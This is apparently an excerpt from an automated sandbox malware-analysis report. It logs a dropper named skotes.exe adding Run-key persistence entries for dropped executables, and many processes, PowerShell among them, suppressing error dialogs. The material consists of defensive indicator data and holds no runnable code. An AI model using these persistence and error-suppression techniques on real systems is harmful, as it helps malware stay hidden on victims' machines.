Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f43f43fc7e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f43f43fc7e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d85d1975e9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d85d1975e9.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run NULL

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
